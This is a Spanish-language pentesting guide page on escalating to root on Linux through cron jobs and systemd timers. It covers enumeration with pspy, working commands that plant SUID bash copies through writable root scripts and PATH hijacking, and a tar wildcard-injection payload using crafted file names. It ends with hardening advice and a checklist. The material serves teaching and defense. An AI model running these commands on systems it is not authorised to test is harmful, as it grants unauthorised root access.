Cron jobs y timers
Cron ejecuta tareas programadas, muchas de ellas como root. Si una de esas tareas ejecuta un script o binario que tú puedes modificar, usa un PATH relativo, o maneja comodines de forma insegura, puedes inyectar tu código y conseguir ejecución como root cuando la tarea se dispare. Es un vector de privesc clásico y muy fiable porque las tareas de mantenimiento se escriben a menudo con prisa y permisos laxos.
Dónde viven las tareas
Sección titulada «Dónde viven las tareas»/etc/crontab # cron del sistema (incluye el usuario que ejecuta)/etc/cron.d/ # tareas adicionales del sistema/etc/cron.{hourly,daily,weekly,monthly}/ # scripts por frecuencia/var/spool/cron/crontabs/ # crontabs por usuariocrontab -l # del usuario actual# systemd timers (alternativa moderna a cron)systemctl list-timers --allcat /etc/systemd/system/*.timer /etc/systemd/system/*.serviceEnumerar y espiar
Sección titulada «Enumerar y espiar»El problema: no siempre ves las tareas de root en los ficheros. pspy las revela observando procesos sin privilegios:
cat /etc/crontab ; ls -la /etc/cron.*pspy64 # ver en vivo qué procesos/cron lanza root (sin ser root)pspy es la herramienta clave: muestra comandos, PIDs y UIDs de las tareas que se ejecutan, incluidas las de root que no puedes leer directamente.
Vectores de abuso
Sección titulada «Vectores de abuso»1. Script escribible ejecutado por root
Sección titulada «1. Script escribible ejecutado por root»# si /etc/cron.d/backup ejecuta /opt/backup.sh y puedes escribir en backup.sh:echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh# espera a que cron lo ejecute -> /tmp/rootbash -p = rootls -la /opt/backup.sh # ¿escribible por ti/tu grupo?2. PATH relativo en la tarea
Sección titulada «2. PATH relativo en la tarea»# si crontab tiene PATH=/home/user:/usr/bin y la tarea llama "backup" sin ruta:# creas /home/user/backup malicioso -> root al ejecutarseecho '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb' > ~/backup; chmod +x ~/backup3. Wildcard injection (tar/rsync/chown/chmod)
Sección titulada «3. Wildcard injection (tar/rsync/chown/chmod)»Si la tarea usa comodines (tar czf back.tar.gz *) en un directorio donde puedes crear ficheros, abusas de los flags que interpreta el comodín:
# en el directorio objetivo, creas ficheros cuyos nombres son flags de tar:echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > shell.shtouch -- '--checkpoint=1'touch -- '--checkpoint-action=exec=sh shell.sh'# cuando root corra "tar ... *", ejecuta tu shell.sh4. Script no existente pero referenciado
Sección titulada «4. Script no existente pero referenciado»Si la tarea llama a un script que no existe pero en una ruta donde puedes crearlo, lo creas tú.
Para la defensa
Sección titulada «Para la defensa»- Rutas absolutas en las tareas y en los comandos que invocan;
PATHseguro en crontab. - Scripts de cron propiedad de root y no escribibles por otros (
chmod 700, dueño root). - Evitar comodines en comandos que corren como root sobre directorios escribibles; usar
./o rutas explícitas. - Auditar
/etc/cron.*, crontabs y timers; monitorizar cambios (auditd) en scripts de tareas. - Mínimo privilegio: que las tareas no corran como root si no es necesario.
Checklist de prueba
Sección titulada «Checklist de prueba»- Enumerar crontab, /etc/cron.*, cron.d y systemd timers
- pspy para ver tareas/procesos de root en vivo
- Scripts de cron escribibles por ti/tu grupo
- PATH relativo en la tarea → PATH hijacking
- Wildcard injection (tar/rsync/chown en dir escribible)
- Scripts referenciados pero inexistentes en ruta escribible
- Confirmar ejecución como root (shell SUID/cron shell)
- Blue: ¿rutas absolutas, scripts no escribibles, sin wildcards?